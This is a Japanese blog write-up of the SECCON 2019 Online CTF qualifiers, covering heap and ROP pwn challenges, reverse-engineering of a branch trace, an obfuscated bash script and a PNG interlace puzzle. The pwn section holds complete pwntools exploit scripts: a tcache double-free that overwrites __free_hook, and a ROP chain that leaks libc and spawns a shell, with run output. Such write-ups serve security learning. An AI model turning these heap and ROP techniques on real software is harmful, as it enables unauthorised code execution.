23
20

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

SECCON 2019 Online CTF write-up

Last updated at Posted at 2019-10-20

superflipは12問、2396点、38位。日本チームの上位13位までが国内決勝大会進出だけど、何位だろうなぁ。Teamsだけではなく、Scoreboardにもチームの国名を出してほしい。

配点はおなじみになった解いたチーム数で点数が変動する形式。

team.png

challenges.png

pwn

one (264 pt, 68 solves)

こんなの。初っぱなからヒープか。

$ ./one
just one
MENU
================
1. Add
2. Show
3. Delete
0. Exit
================
> 1
Input memo > hogehoge
Done.

MENU
================
1. Add
2. Show
3. Delete
0. Exit
================
> 2
hogehoge
Done.

MENU
================
1. Add
2. Show
3. Delete
0. Exit
================
> 3
Done.

MENU
================
1. Add
2. Show
3. Delete
0. Exit
================
> 0
Bye!
  • Addで確保されるサイズは0x40バイト固定
  • ShowはDelete後でも読める(UAF)
  • Deleteは何回でも呼べる(double free)
  • libcは2.27。チェックの緩いtcacheが有効
  • Full RELRO、Canary、NX、PIEは全部有効

tcacheのdouble freeを使えば、簡単に任意のアドレスに任意の値を書き込める。とはいえ、PIEも有効なので既知のアドレスが無くまずはアドレスをリークしないと始まらない。Double free後に値を読み出すと、今解放したmallocチャンクのアドレスが入っているので、ヒープのアドレスが分かる。

libcのアドレスが欲しい。そのためにはunsorted binにチャンクを入れる必要がある。サイズ0x50のチャンクはtcacheを埋めてもfastbinにしか入らない。tcacheのdouble freeでmallocに任意のアドレスを返させることができるので、サイズにあたる部分を書き換えたチャンクを返させれば良い。

ただし、unsorted binはtcacheと違ってチェックがあるので、後続のチャンクの状態を整えておかないといけない。tcacheに入れるチャンクもサイズだけは正しい値になっている必要があるから、いきなりunsorted binに入れるチャンクの後続の位置を返させることはできない。いや、できるけれど、そのチャンクをfreeしたときにコケるので後が続かない。そこで、確保したチャンクの末尾にサイズを書いておいて少しずつ後ろにずらしていく。tcacheはdouble freeで埋められるので、fastbinに入らないサイズ(0x90以上)にすれば良い。

unsorted binのアドレスが得られれば、後は__free_hooksystemのアドレスを書き込み、Add("/bin/sh"); Delete()を実行するだけ。

attack.py
from pwn import *

elf = ELF("one")
context.binary = elf
#context.log_level = "debug"

s = process("./one")
#s = remote("one.chal.seccon.jp", 18357)

def add(d):
  s.sendlineafter("> ", "1")
  s.sendlineafter("> ", d)

def show():
  s.sendlineafter("> ", "2")
  return s.recvline()[:-1]

def delete():
  s.sendlineafter("> ", "3")

add("hoge") # tcache
delete()
delete()
delete()
tcache = unpack(show().ljust(8, "\0"))
print "tcache: %x"%tcache

add(pack(tcache+0x30)) # tcache
add( # tcache
  pack(0)+pack(0xc1)+
  pack(0)+pack(0)+
  pack(0)+pack(0x51))
add("hoge") # tcache+0x30
delete()
delete()
delete()

for i in range(2, 5):
  add(pack(tcache+0x30*i)) # tcache+0x30*i
  add("a"*0x28+pack(0x51)) # tcache+0x30*i
  add("hoge") # tcache+0x30*(i+1)
  delete()
  delete()
  delete()

add(pack(tcache+0x10)) # tcache+0xc0
add( # tcache+0xc0
  pack(0xc0)+pack(0x21)+
  pack(0)+pack(0)+
  pack(0)+pack(0x21))
add("hoge") # tcache+0x10

for i in range(8):
  delete()
unsort = unpack(show().ljust(8, "\0"))
print "unsort: %x"%unsort

libc = ELF("libc-2.27.so")
libc.address = unsort - 0x3ebca0

add("hoge")
delete()
delete()
add(pack(libc.symbols.__free_hook))
add("hoge")
add(pack(libc.symbols.system))

add("/bin/sh")
delete()

s.interactive()

0x40バイトだと上手く動かなかったので、0x30バイトごとズラしている。送るときの改行をどうにかすれば良かったのかも。addの横に書いているのは、そのときのmallocが返すアドレス。Double freeではなくtriple freeなのは、addと数を合わせるため、tcacheからチャンクを出すときは個数をチェックしていないけれど、これで負のオーバーフローを起こすとtcacheにチャンクが入らなくなってしまう。

$ python attack.py
[*] '/mnt/d/documents/ctf/seccon2019qual/one/one'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './one': pid 13234
[+] Opening connection to one.chal.seccon.jp on port 18357: Done
tcache: 55ddb17b0270
unsort: 7f459460dca0
[*] '/mnt/d/documents/ctf/seccon2019qual/one/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ cat flag.txt
SECCON{4r3_y0u_u53d_70_7c4ch3?}
$
[*] Interrupted
[*] Closed connection to one.chal.seccon.jp port 18357
[*] Stopped process './one' (pid 13234)

追記

サイズを書き換えたりとかしてチマチマと進まなくても、普通にAddすれば良いだけだった。

SECCON Online 2019 QualsのWriteup - CTFするぞ

SECCON{4r3_y0u_u53d_70_7c4ch3?}

Sum (289 pt, 58 solves)

Estimated Difficulty: easy

らしい。まあ、たしかに気が付いてしまえば簡単ではあるものの……。

$ ./sum
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.

[Example]
2 3 4 0
1 2 3 4 0
10

最大5個の整数を読み込んで合計を計算するプログラム……のはずが6個読み込んでいる。6個目の位置には、合計を計算する関数が結果を書き込む変数のアドレスがある。ということで、任意のアドレスに値を書き込める。6個目の整数も合計の対象にはなるけれど、それは前の整数を良い感じすることで、任意の値を書き込める。

PIEは無効だがどこに何のアドレスを書き込めば良いのだろう。Full RELROも無効なので、libcのアドレスが分かれば、GOTにone gadget RCEを書き込んで終了だけど……。本来は合計を表示してくれるけれど、合計を計算する関数が6個以上の整数を処理したら、エラーということなのかexitを呼んで終了している。そもそも合計はこちらが想定した値を書き込むのでリークしたところで……。

とハマっていたところで、exitを呼ぶときにちょうどこの整数がスタックの先頭にあることに気が付いた。ROPができる。printf(printf@GOT)を呼んでlibcのアドレスをリークし、mainに戻って再度ROP。

attack.py
from pwn import *

elf = ELF("sum")
context.binary = elf
#context.log_level = "debug"

#s = process("./sum")
s = remote("sum.chal.seccon.jp", 10001)

target = 0x00400a43  # pop; ret
v = [0]*6
v[0] = 0x00400a43  # pop rdi; ret
v[1] = 0x00601028  # printf@got
v[2] = 0x00400620  # printf@plt
v[3] = 0x00400904  # main+1
v[5] = 0x00601048  # exit@got
v[4] = target - sum(v)

print " ".join(map(str, v))
s.sendlineafter("2 3 4 0\n", " ".join(map(str, v)))

printf = s.recvuntil("[") # [sum system]
printf = unpack(printf[:-1].ljust(8, "\0"))
print "printf: %x"%printf

libc = ELF("libc.so")
libc.address = printf - libc.symbols.printf

target = 0x00400a43  # pop; ret
v = [0]*6
v[0] = 0x00400a43  # pop rdi; ret
v[1] = next(libc.search("/bin/sh"))
v[2] = libc.symbols.system
v[3] = 0x00000001
v[5] = 0x00601048  # exit@got
v[4] = target - sum(v)

print " ".join(map(str, v))
s.sendlineafter("2 3 4 0\n", " ".join(map(str, v)))

s.interactive()

mainではなくmain+1はスタックのずれによってmovapsで落ちるから。

kusano@RIO:/mnt/d/documents/ctf/seccon2019qual/Sum$ python attack.py
[*] '/mnt/d/documents/ctf/seccon2019qual/Sum/sum'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to sum.chal.seccon.jp on port 10001: Done
4196931 6295592 4195872 4196612 -20983700 6295624
printf: 7f01cecb5e80
[*] '/mnt/d/documents/ctf/seccon2019qual/Sum/libc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
4196931 139645742501530 139645741040704 1 -279291489837859 6295624
[*] Switching to interactive mode
$ cat flag.txt
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}

SECCON{ret_call_call_ret??_ret_ret_ret........shell!}

reversing

follow-me (225 pt, 86 solves)

Intel Pinを使って、各jump命令でジャンプしたかどうかをダンプしたファイルから、入力を逆算しろという問題。答えは何通りもあるので、サーバーに送りつけて分岐が同じならフラグが返ってくる。

プログラムはこんな感じ。

$ ./calc
usage: ./calc formula
$ ./calc 123,
123
$ ./calc 123,456,+
579
$ ./calc 123,456,+456,-
123
$ ./calc 123,456,*
56088
$ ./calc 123,456,m
123
$ ./calc 123,456,M
456
$ ./calc 2,4,C
error: n < k
$ ./calc 4,2,C
6
$

逆ポーランド記法の数式を計算するプログラム。数字の終端は,mはmin、Mはmax、(使われていないけど)Cはcombination。

問題ファイルは600行くらいあって、どこで間違えているか分からないとつらいので、手元でもPINを動かした。コンパイルの仕方が分からん。似たようなものだろうと、pin-3.11-97998-g7ecce2dac-gcc-linux/source/tools/SimpleExamples/calltrace.cppを上書きしてmake

$ ~/pin-3.11-97998-g7ecce2dac-gcc-linux/pin -t branchtrace.so -- ./calc 111,

で動く。

あとは出力と逆アセンブル結果を見比べながら合わせていく。まずは入力の終端判定をしている部分で区切る。数値や各種命令の何が入力されたかは各ループの最初の方の分岐、数値は桁数が合っていれば良い。+がいやらしくて、下一桁だけループして1ずつ足しているので、下一桁を調整。あと、*+で実装されているのでここも調節。

111,111,111,111,111,1111,111,mm-mM-112,112,112,mm-118,111,111,113,110,-+-M+111,111,001,mm* で通る。

$ curl -q -H 'Content-Type:application/json' -d "{\"input\": \"111,111,111,111,111,1111,111,mm-mM-112,112,112,mm-118,111,111,113,110,-+-M+111,111,001,mm*\"}" http://follow-me.chal.seccon.jp/submit/quals/0
{"error":false,"flag":"SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}","message":"Thanks! I'll give you a flag as a thank you."}

SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}

misc

Welcome (50 pt, 721 solves)

IRCのトピックと問題文に書いてあるので、その通りに。

SECCON{Welcome to the SECCON 2019 Online CTF}

Thank you for playing! (50 pt, 556 solves)

これで点数が入るの、出てくるのが終了1時間前とかだとつらいが、12時間前くらいだったので良かった。

SECCON{We have done all the challenges. Thank you!}

Beeeeeeeeeer (110 pt, 182 solves)

難読シェルスクリプト。

色々試行錯誤していたら解けてしまって、ちゃんと解析はしていない。Base64部分は取り出して復号するとまたスクリプトが出てくる。「ビープ音が何回なった?」と聞いてくるところがあって、ここは3回のときにループが抜けて、この3回というのが後で使われていた。最後の方に出てくる

__=$(. 2>&1);__=${__##*.};__=$(. 2>&1);__=${__##*.};${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[$$/$$])):$((___=___^___||++___))}${__:$[$[$$/$$]<<$[$$/$$]<<$[$$/$$]]:$((___=___^___||++___))}${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]])):$((___=___^___||++___))} -- {z..A};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}";${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} _____</${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}/${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))};: ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} $(${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} $_____|${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))} -${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}" " -${@:$((____=(____^____||++____)+(____^____||++____)))$((____=____^____||++____)):$((____=____^____||++____))}$((____=____^____||++____)))|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))} "${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=____^____||++____))-$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=____^____||++____))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))"&&${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}!"&&printf "\n\033[?7l%1024s" " "&&echo SECCON{$S1$n$_____};echo -e '\033[?7h';

は、

難読化シェル芸の世界 Bashとすてきな難読化②|Tech Book Zone Manatee

set -xすると実行しているコマンドが出てくる。

++ .
+ __='-bash: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
++ .
+ __='-bash: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
+ set -- z y x w v u t s r q p o n m l k j i h g f e d c b a '`' _ '^' ']' '' '[' Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
+ echo 'Enter the password'
Enter the password
+ read _____
bash
+ : password is bash
+ grep -q d574d4bb40c84861791a694a999cce69
++ echo -n bash
++ md5sum
++ cut '-d ' -f1
+ echo d574d4bb40c84861791a694a999cce69
+ echo 'Good Job!'
Good Job!
+ printf '\n\033[?7l%1024s' ' '

: password is bashとかある。

この辺を試していたら、SECCON{hogefuga3bash}というのが出てきて、これで通った。3はビープ音の回数で、hogefugaはどこで設定されるのだろう。

SECCON{hogefuga3bash}

Sandstorm (279 pt, 62 solves)

sandstorm.png

こんな画像。

インターレースPNG。ということで0x4e0バイトくらいに切り詰めるとQRコードが出てくる。画像ビューアでは小さな点があるだけで見づらかったけど、ブラウザは対応していた。きっちり解くなら、8x8のブロックごとに左上の画素を抽出。Adam7

image.png

Tanuki (439 pt, 14 solves)

解けなかった。

Samples
